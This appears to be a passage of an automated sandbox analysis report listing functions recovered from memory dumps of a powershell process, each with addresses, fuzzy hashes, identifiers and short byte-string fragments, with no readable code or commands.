Opcode Fuzzy Hash: eb54c1fa12b8a23e4635a0f1a916915b28707585d036b9bf5513509c9f96c741
Instruction Fuzzy Hash: E5F0A0757402188FCF00CB6A99406BA77A6EBCC295B118A64E80DCB324EE35EC058B91

Function 047EF770 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 586fa4bffe2702b2eca74d7348ff37c089ddab7381259a4bfe0cd5ad173e65b8
Instruction ID: da767b3c60ac41b949420674a7100843f5ebaffc1a781309ad36ace02f1acfb3
Opcode Fuzzy Hash: 586fa4bffe2702b2eca74d7348ff37c089ddab7381259a4bfe0cd5ad173e65b8
Instruction Fuzzy Hash: 77F0B830905304AFDB919F74D8AC39A7BF5EF42324F0404AED04ACB381DB786985CB91

Function 047EF700 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ab3ef7b15e620cfc7beb6c6813e18ddb76ed3718b995822136eba48a9021c27
Instruction ID: 1c4b79041aba48d17ea69e5883250f8984fae5c7a82082a2f46d5e4842d58f5f
Opcode Fuzzy Hash: 1ab3ef7b15e620cfc7beb6c6813e18ddb76ed3718b995822136eba48a9021c27
Instruction Fuzzy Hash: EEF027357042085BEB11ABA9C0183EF37A6DBC476CF10412DD80947384DE3D3946C7E1

Function 047EF388 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cd4689546c686875276b26acc795c0acfe9573b9f0238c1c5ac993155159cc2
Instruction ID: 3d8d649651eeae9c3832f85387defa53c4cd8d2706643240882345c8e685ae57
Opcode Fuzzy Hash: 7cd4689546c686875276b26acc795c0acfe9573b9f0238c1c5ac993155159cc2
Instruction Fuzzy Hash: 80F0A0317087985FDF0A2B71941C1AD3BA6EFC6364F0900AFD4098B382CF685956C7D6

Function 047EFB58 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16373b13dcb78746b20f030fb8f7b2a697665e0c70feb7ff7de4cb6efc33ba10
Instruction ID: e76cf242a99f80068f1b085d524b8115aec45f3d4027c15b64e080db81f912e9
Opcode Fuzzy Hash: 16373b13dcb78746b20f030fb8f7b2a697665e0c70feb7ff7de4cb6efc33ba10
Instruction Fuzzy Hash: BCE022223042521F571A157F54246BA6BA68ECE26930902AFC881DB712DE018C068362

Function 047E8610 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13723de9f7dd1e92fdda6f630ecf072590bb80b921f46787aeb142202d628ff0
Instruction ID: 0fafb886a72407ba46265b14138e74b868713596258bd4438ec5ae71e6e97e7d
Opcode Fuzzy Hash: 13723de9f7dd1e92fdda6f630ecf072590bb80b921f46787aeb142202d628ff0
Instruction Fuzzy Hash: 5AF0EC703447416FC305D72CE8415DABBA2FFC5310704417AD104CBB59CB74B8458BE5

Function 047EF780 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e3d591d17e936618ee6fe30b9a5fb96fc74508e66e09c23ee9b1aa1ec1869eb
Instruction ID: f3b768a94253215db9924612d4169239b0cbd72bd48d5446252322cdd150794e
Opcode Fuzzy Hash: 9e3d591d17e936618ee6fe30b9a5fb96fc74508e66e09c23ee9b1aa1ec1869eb
Instruction Fuzzy Hash: DCF06D30A013085BD7A09FB9D09C39ABBE9EB44360F50446ED54EC3340DB79A9408B80

Function 047EFCF2 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60f0cdcd0b480fcc3fc4f84da79d72a6085cb8a96cef7ebf420e6aac70a9fbb9
Instruction ID: f5a4816c450eedf1473ecb0dad3ff4db020125e8b669addc4341389e0ee6e1cc
Opcode Fuzzy Hash: 60f0cdcd0b480fcc3fc4f84da79d72a6085cb8a96cef7ebf420e6aac70a9fbb9
Instruction Fuzzy Hash: 70E0ED70A44209AFC780DFB9C982769FFF4AB48200F2481AADA48DB281E77155158B91

Function 047EF398 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef38df7660ab3db6028bf1e200639e22949d41ff1ee120c2af0b644c132169c7
Instruction ID: 7e8377ef018cf155590f166e443445c9cd49a92184e382f1e02f61118ab472fc
Opcode Fuzzy Hash: ef38df7660ab3db6028bf1e200639e22949d41ff1ee120c2af0b644c132169c7
Instruction Fuzzy Hash: F9E0263130431C47CF0927B5A01C2AE7A9AEBC4774F00006ED40A83341CF78291283D9

Function 047EF158 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6f35c06e73fa4afd2b533f558bfaddb84fda587dfefafb8d89468d07ad727b1
Instruction ID: bd3192ec41cf14d19adb3cd30d29ea2e33219c3192c2f4ef73e616ab6a9aa71a
Opcode Fuzzy Hash: e6f35c06e73fa4afd2b533f558bfaddb84fda587dfefafb8d89468d07ad727b1
Instruction Fuzzy Hash: C5E01A31A4510D8FCF09AB76D45A4FD7F30EF19321B5802AEE60753691DA310A55CF81

Function 047EFB68 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09bbc1fabda6012af61a462668164aa816e0a693351acde9d0d365ba989d133f
Instruction ID: 9fa07e95923f52428bc9a29ca89bc7a3b2f0a67b73b40b3209417716b1fbe49d
Opcode Fuzzy Hash: 09bbc1fabda6012af61a462668164aa816e0a693351acde9d0d365ba989d133f
Instruction Fuzzy Hash: 1DD05E1231012517261424BF1814B7AB6CE8ECD4AAB45063BEA09D7745ED41EC0543F1

Function 047E7F50 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc8fe79d958bf02f67e0ab3362fada07257ee31608a8c308a889c1f502f20711
Instruction ID: 508975d33a8fbd4d476c77f1064d458354ea1262b0f5c2a7054b93e048297fa9
Opcode Fuzzy Hash: cc8fe79d958bf02f67e0ab3362fada07257ee31608a8c308a889c1f502f20711
Instruction Fuzzy Hash: 75D05E3670022417960426BE789982FBADEAAC81753540476A60DCB302DE7A8C4245B4

Function 047EF223 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95f2c1240ba83959df715e41bf50a0062596728dd3d684f67082d037ace923eb
Instruction ID: b8b502b522cc8546e82d6a63ed5a9ca59ef577df828fa1cb1ba73c046f0bc8ba
Opcode Fuzzy Hash: 95f2c1240ba83959df715e41bf50a0062596728dd3d684f67082d037ace923eb
Instruction Fuzzy Hash: CBE01A34A0A2489FCB44EF75D4464ADBF70EB49220F5001ADE90693751D6205852CF81

Function 047EE350 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1342bf989b25cd34413ffa3c1ca2f25acb1d76a90db5baebef1c3a027ccda1f6
Instruction ID: 3b037e2bd03e4f23452368d551c9251ce61e9983004d8c1a7edbe5dc97a7626b
Opcode Fuzzy Hash: 1342bf989b25cd34413ffa3c1ca2f25acb1d76a90db5baebef1c3a027ccda1f6
Instruction Fuzzy Hash: 25D05E3100A78A4FCB071F36D415530BF74BF03345B490DE6E0CA4A2A7CA39AC26CB19

Function 047EFD00 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: ee95517981ea792ddbcc0f6c635d5a43c179d6cac286adc157982e3b639ae0d5
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: B6D06270D04209AF8780DFADC94156DFFF4EB48200F5085AAC91DD7351F73196128BD1

Function 047E7F90 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93a7625b6026bca1aff64c86347db2ee94ccf0e8ee06a8d4451806f48fd7babd
Instruction ID: be389a31db3514bbfaae06d4c47f5230e3865c37d1846faad35b2b1c6d922fee
Opcode Fuzzy Hash: 93a7625b6026bca1aff64c86347db2ee94ccf0e8ee06a8d4451806f48fd7babd
Instruction Fuzzy Hash: CAD05E35200124DFDB04EF68E508C957BE9EF4C62471141A4EA0D87332CA25EC048B91

Function 047EF168 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee5dbc9815d48ffdfeac5518bc63fc14124f6685c69d20eca3f8289a15883a5d
Instruction ID: 32fb7c742d7d06a98b4ac1d8bd2f33ecfeae132f423f3da680ff9c08b472da02
Opcode Fuzzy Hash: ee5dbc9815d48ffdfeac5518bc63fc14124f6685c69d20eca3f8289a15883a5d
Instruction Fuzzy Hash: 63D0623090410D9BCF08AB65D95A4BDBB74EB14211F50019FE90752595EA311556CBC5

Function 047EF230 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf9b90b077cfbea3306489cb4079cc4f96c020eb3f063dbde25a554f499295cb
Instruction ID: c51d4cd68be601e879d11dc97eaff7e32ad3059782154b49ce68016613ca768b
Opcode Fuzzy Hash: cf9b90b077cfbea3306489cb4079cc4f96c020eb3f063dbde25a554f499295cb
Instruction Fuzzy Hash: 4CD06734A0820DDBCB54EFA5E44647EBBB5EB48611F5041A9E90993795EA306852CBC1

Function 047EE360 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 611b5db8c6990c460c5d779f7da8aabd48b47a4cd58e869052e2a04a8be60a97
Instruction ID: f7aaf303bfd25b9795b183d88b0e4c175d4d80bf9ea33d4321e5c97ede19acbd
Opcode Fuzzy Hash: 611b5db8c6990c460c5d779f7da8aabd48b47a4cd58e869052e2a04a8be60a97
Instruction Fuzzy Hash: A5B0923104430A8FC6096F75E4198147329BE8025A38008A8E50E0A2928E3AE8A2CA46

Function 047EE8C8 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0355a748489c07b046ede7b330a7942ec8eabea8a091b3db82ca075069a8ca09
Instruction ID: 68cc974e26d3f325133987d47b12977260e783ee4a826c1b859f87a0304c26ea
Opcode Fuzzy Hash: 0355a748489c07b046ede7b330a7942ec8eabea8a091b3db82ca075069a8ca09
Instruction Fuzzy Hash: 25B01271E05340DBFF018B3E8C4C0003B619FC330170C45D5C041C5008CE314096E701

Function 047EDD30 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 499653e694d15b3859c9ea657fdd402c0757bd6c89c2f910d232d37041e4b76d
Instruction ID: 3850f1885517f89c87ba2b62169f42af59740bb87f12fec99c498289a2122eaf
Opcode Fuzzy Hash: 499653e694d15b3859c9ea657fdd402c0757bd6c89c2f910d232d37041e4b76d
Instruction Fuzzy Hash: FDA00236F5415147FF4CDA3B4A5A53A26675FD7242704DD7A5103C0188DE349542E704

Non-executed Functions

Function 07662FA8 Relevance: 15.3, Strings: 12, Instructions: 286COMMON

Download Yara Rule

Strings

JFl, xrefs: 076632EA
84Cl, xrefs: 0766319E
4'^q, xrefs: 076631BD
tP^q, xrefs: 07663213
JFl, xrefs: 076632F6
JFl, xrefs: 0766323F
84Cl, xrefs: 07663194
4'^q, xrefs: 076631B1
tP^q, xrefs: 07663207
$c8k, xrefs: 076632DC
JFl, xrefs: 07663233
JFl, xrefs: 076631C9

Memory Dump Source

Source File: 0000001B.00000002.2317833139.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7660000_powershell.jbxd

Similarity

API ID:
String ID: $c8k$4'^q$4'^q$84Cl$84Cl$tP^q$tP^q$JFl$JFl$JFl$JFl$JFl
API String ID: 0-3819223357
Opcode ID: 76ae00bbf0a275f8da68b50cd92fd02b5912466c69e818305aef5eb7a75484f2
Instruction ID: e0537200f4041bcde88cbfd3e237c22d49386e431ca43ad603809e4af54540b9
Opcode Fuzzy Hash: 76ae00bbf0a275f8da68b50cd92fd02b5912466c69e818305aef5eb7a75484f2
Instruction Fuzzy Hash: F4914CB1B042068FCB259B7A9818A6BFBB6AFC5210F54846BD507CF355DB31C846C791

Function 07660720 Relevance: 11.5, Strings: 9, Instructions: 237COMMON

Download Yara Rule

Strings

84Cl, xrefs: 076607FE
QPi, xrefs: 07660A2D
84Cl, xrefs: 076607F2
tP^q, xrefs: 07660859
4c^q, xrefs: 07660923
4c^q, xrefs: 076607B4
tP^q, xrefs: 0766084D
4c^q, xrefs: 0766090F
4c^q, xrefs: 07660919

Memory Dump Source

Source File: 0000001B.00000002.2317833139.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7660000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$84Cl$84Cl$tP^q$tP^q$QPi
API String ID: 0-218687937
Opcode ID: a85966a1850e61833234e530f3ef4ba03c3b74a0fd50ef07accdde9b1be43a2a
Instruction ID: f42103710a83c1b3bde1effa34e79276f0784049b23562d330dd1cac26331cd8
Opcode Fuzzy Hash: a85966a1850e61833234e530f3ef4ba03c3b74a0fd50ef07accdde9b1be43a2a
Instruction Fuzzy Hash: D4813470F102089FDB289F78D808E6ABBA2EB89750F548479E8469F391DA31DC45CB91

Function 047EE440 Relevance: 7.7, Strings: 6, Instructions: 238COMMON

Download Yara Rule

Strings

`_q, xrefs: 047EE6E2
tMEl, xrefs: 047EE4F4
`_q, xrefs: 047EE543
`_q, xrefs: 047EE664
`_q, xrefs: 047EE5C2
(-n^, xrefs: 047EE573

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID: tMEl$`_q$`_q$`_q$`_q$(-n^
API String ID: 0-826303443
Opcode ID: 9cca0d56d9eb0d1d92eb7c567a112b034c9815f399e3f230d820b28f6cb5d146
Instruction ID: f25cc806ee2cf14ee64ddc5a7fc12cb6cfb2ea05849d903130db2b4c1311f1f7
Opcode Fuzzy Hash: 9cca0d56d9eb0d1d92eb7c567a112b034c9815f399e3f230d820b28f6cb5d146
Instruction Fuzzy Hash: 67B19674E012099FDB54DFA9D980A9DFBF1FF88304F108629D819AB315EB70A945CF90

Function 047EE450 Relevance: 7.7, Strings: 6, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 047EE6E2
tMEl, xrefs: 047EE4F4
`_q, xrefs: 047EE543
`_q, xrefs: 047EE664
`_q, xrefs: 047EE5C2
(-n^, xrefs: 047EE573

Memory Dump Source

Source File: 0000001B.00000002.2253540736.00000000047E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_47e0000_powershell.jbxd

Similarity

API ID:
String ID: tMEl$`_q$`_q$`_q$`_q$(-n^
API String ID: 0-826303443
Opcode ID: 28d3616b29d988892f77bbf1548c3142ee5cddd6bfef361ee733ee46f471e977
Instruction ID: 3ea7b414df592402eac70ed095471fea2a922dbf484880db31cb37c931f6e8cd
Opcode Fuzzy Hash: 28d3616b29d988892f77bbf1548c3142ee5cddd6bfef361ee733ee46f471e977
Instruction Fuzzy Hash: E0B18674E012099FDB54DFA9D990A9DFBF2FF88304F108629D819AB315EB70A945CF90

Function 076606FF Relevance: 7.6, Strings: 6, Instructions: 149COMMON

Download Yara Rule

Strings

84Cl, xrefs: 076607F2
4c^q, xrefs: 07660923
tP^q, xrefs: 0766084D
4c^q, xrefs: 076607B4
4c^q, xrefs: 0766090F
4c^q, xrefs: 07660919

Memory Dump Source

Source File: 0000001B.00000002.2317833139.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7660000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$84Cl$tP^q
API String ID: 0-1845156092
Opcode ID: 44e748ab8c64f006736988aed8b85af96826897ec6077179e10f9fff05f8162a
Instruction ID: b4dfe1c311687513aa413e9f0a548b4275931b8c95e1fff2cdd182955509d60d
Opcode Fuzzy Hash: 44e748ab8c64f006736988aed8b85af96826897ec6077179e10f9fff05f8162a
Instruction Fuzzy Hash: 3E5145B0E10205DFDB248F29C448E69BBE2EB84750F9885A9E8469F391DB31DC45CB91

Function 0766038B Relevance: 7.6, Strings: 6, Instructions: 78COMMON

Download Yara Rule

Strings

$^q, xrefs: 0766045A
4'^q, xrefs: 076603FF
4'^q, xrefs: 07660487
$^q, xrefs: 07660466
4'^q, xrefs: 076603F3
4'^q, xrefs: 0766047B

Memory Dump Source

Source File: 0000001B.00000002.2317833139.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7660000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$$^q$$^q
API String ID: 0-1041444323
Opcode ID: 1f70c4d177b019ebc0a5d3a92a4f415251820907c8ae23de3be3ab2722e141b9
Instruction ID: 35dd4a033b7c8f9a365923f2227dcb211d1f50e0e406c64d3f9953d7c1dec57e
Opcode Fuzzy Hash: 1f70c4d177b019ebc0a5d3a92a4f415251820907c8ae23de3be3ab2722e141b9
Instruction Fuzzy Hash: 09212B71B483478FC7391A3865289666BE35FC29513A9057BC042EF35ADD218D4E83D3

Function 07660B30 Relevance: 6.5, Strings: 5, Instructions: 219COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07660C55
tP^q, xrefs: 07660C49
84Cl, xrefs: 07660BEE
(_^q, xrefs: 07660CEB
84Cl, xrefs: 07660BFA

Memory Dump Source

Source File: 0000001B.00000002.2317833139.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7660000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$84Cl$84Cl$tP^q$tP^q
API String ID: 0-2418987096
Opcode ID: a345cab714835c682952ff00d569c2e8976c63bc7705fd93abef554c98444341
Instruction ID: 92b6a839a1f521980d82037a8ae65c19873eb411355f41cf92998de1cea5332c
Opcode Fuzzy Hash: a345cab714835c682952ff00d569c2e8976c63bc7705fd93abef554c98444341
Instruction Fuzzy Hash: 097125B4F002149FCB249F68D448E6ABFA2FF85710F54C5AAE8069F355DA32EC45CB91

Function 07663888 Relevance: 6.3, Strings: 5, Instructions: 93COMMON

Download Yara Rule

Strings

pik, xrefs: 07663932
JFl, xrefs: 0766394E
rEl, xrefs: 076638FF
4'^q, xrefs: 076639BD
JFl, xrefs: 0766399A

Memory Dump Source

Source File: 0000001B.00000002.2317833139.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7660000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$pik$JFl$JFl$rEl
API String ID: 0-164062275
Opcode ID: d5b4984d379bfa8dda6547aa500f127da094014f1661d7503401221528b015cf
Instruction ID: 6463fde237eb7380f24451cb18f11cbfe41b7bf8d8d5a723424816105c0239aa
Opcode Fuzzy Hash: d5b4984d379bfa8dda6547aa500f127da094014f1661d7503401221528b015cf
Instruction Fuzzy Hash: 5531AFF0A00206DFEF24CE2BC448B7AB7A5AF45350F84826AD8169B790E735DD85CF91

Function 07663120 Relevance: 6.3, Strings: 5, Instructions: 81COMMON

Download Yara Rule

Strings

84Cl, xrefs: 07663194
tP^q, xrefs: 07663207
4'^q, xrefs: 076631B1
JFl, xrefs: 076631C9
JFl, xrefs: 07663233

Memory Dump Source

Source File: 0000001B.00000002.2317833139.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7660000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$84Cl$tP^q$JFl$JFl
API String ID: 0-4017312987
Opcode ID: 4ceee9fcbf181e52bb19dafaa367d1cd278a57b99a975d80569608b8935fde48
Instruction ID: 80f335f60c6d40beaf6cd556382b2eb665398315db1c09088dbbad77ca8b48e5
Opcode Fuzzy Hash: 4ceee9fcbf181e52bb19dafaa367d1cd278a57b99a975d80569608b8935fde48
Instruction Fuzzy Hash: 8A21EFF0E04206DBDB258E67C90CB26F7ABBB81711F98C06ADA165F349C372D941C7A1

Function 07663513 Relevance: 5.1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

Strings

JFl, xrefs: 076635ED
pik, xrefs: 0766358B
pik, xrefs: 076635C8
JFl, xrefs: 076635A7

Memory Dump Source

Source File: 0000001B.00000002.2317833139.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7660000_powershell.jbxd

Similarity

API ID:
String ID: pik$pik$JFl$JFl
API String ID: 0-4276239481
Opcode ID: cb8e30c437ababa0aad8fb0c603bef555f082fccf2c76834d9b73c6e3481631a
Instruction ID: 132b77930bfd3f65f1a47be344acda57baa5da76f43beedf2f6ba0c2097e0cc6
Opcode Fuzzy Hash: cb8e30c437ababa0aad8fb0c603bef555f082fccf2c76834d9b73c6e3481631a
Instruction Fuzzy Hash: D831C1F1904306DFDB21CF27C1496A6BFB4AF06220F8A80A6D816DB355D335D945CFA2

Function 07661970 Relevance: 5.1, Strings: 4, Instructions: 66COMMON

Download Yara Rule

Strings

(_^q, xrefs: 0766197E
(_^q, xrefs: 076619A5
(_^q, xrefs: 0766199B
(_^q, xrefs: 076619B9

Memory Dump Source

Source File: 0000001B.00000002.2317833139.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7660000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: f3c2b65f0a1ad322cb54340e3012cce90ef167dddf4bff6f90f41f167c6e451a
Instruction ID: 772a9fce3387fd0a611baf8a28e6acd4c5a5c522ab78530ece65117db15dcde0
Opcode Fuzzy Hash: f3c2b65f0a1ad322cb54340e3012cce90ef167dddf4bff6f90f41f167c6e451a
Instruction Fuzzy Hash: E31104FAB102198BD7189A6E9004526F7EBAFC7625768C53FC416CB350EA32DC46C790

Function 07661953 Relevance: 5.1, Strings: 4, Instructions: 53COMMON

Download Yara Rule

Strings

(_^q, xrefs: 0766197E
(_^q, xrefs: 076619A5
(_^q, xrefs: 0766199B
(_^q, xrefs: 076619B9

Memory Dump Source

Source File: 0000001B.00000002.2317833139.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7660000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: 88132ffb16e3cffab56fce8e5181f2ba7cbe693e316fd16115a7f9afdd3ce1bc
Instruction ID: d1e4a4726d641002c7d33af345237ab4e1b1418671664482a918e5700785a887
Opcode Fuzzy Hash: 88132ffb16e3cffab56fce8e5181f2ba7cbe693e316fd16115a7f9afdd3ce1bc
Instruction Fuzzy Hash: 8E1166FAA083848FC31A8E6584040A0BFB6EFC322032D419BC455CB392E6319C0EC7A2

Function 0766332F Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

JFl, xrefs: 07663372
$^q, xrefs: 0766339A
$^q, xrefs: 0766338E
JFl, xrefs: 0766337E

Memory Dump Source

Source File: 0000001B.00000002.2317833139.0000000007660000.00000040.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7660000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$JFl$JFl
API String ID: 0-3799408625
Opcode ID: 63dc39d5cc19a40f1e0111ad575ac0693ec1c782a6c7c9fe83d309c8e323bc11
Instruction ID: e8e86273a365f6f2658c429349e4e5d2dd94092249cf48bd46d17dda441b24bd
Opcode Fuzzy Hash: 63dc39d5cc19a40f1e0111ad575ac0693ec1c782a6c7c9fe83d309c8e323bc11
Instruction Fuzzy Hash: B001287260C3C29FC723423A88149426FB18F8355074A4597D481DF76BDA248C4AC363

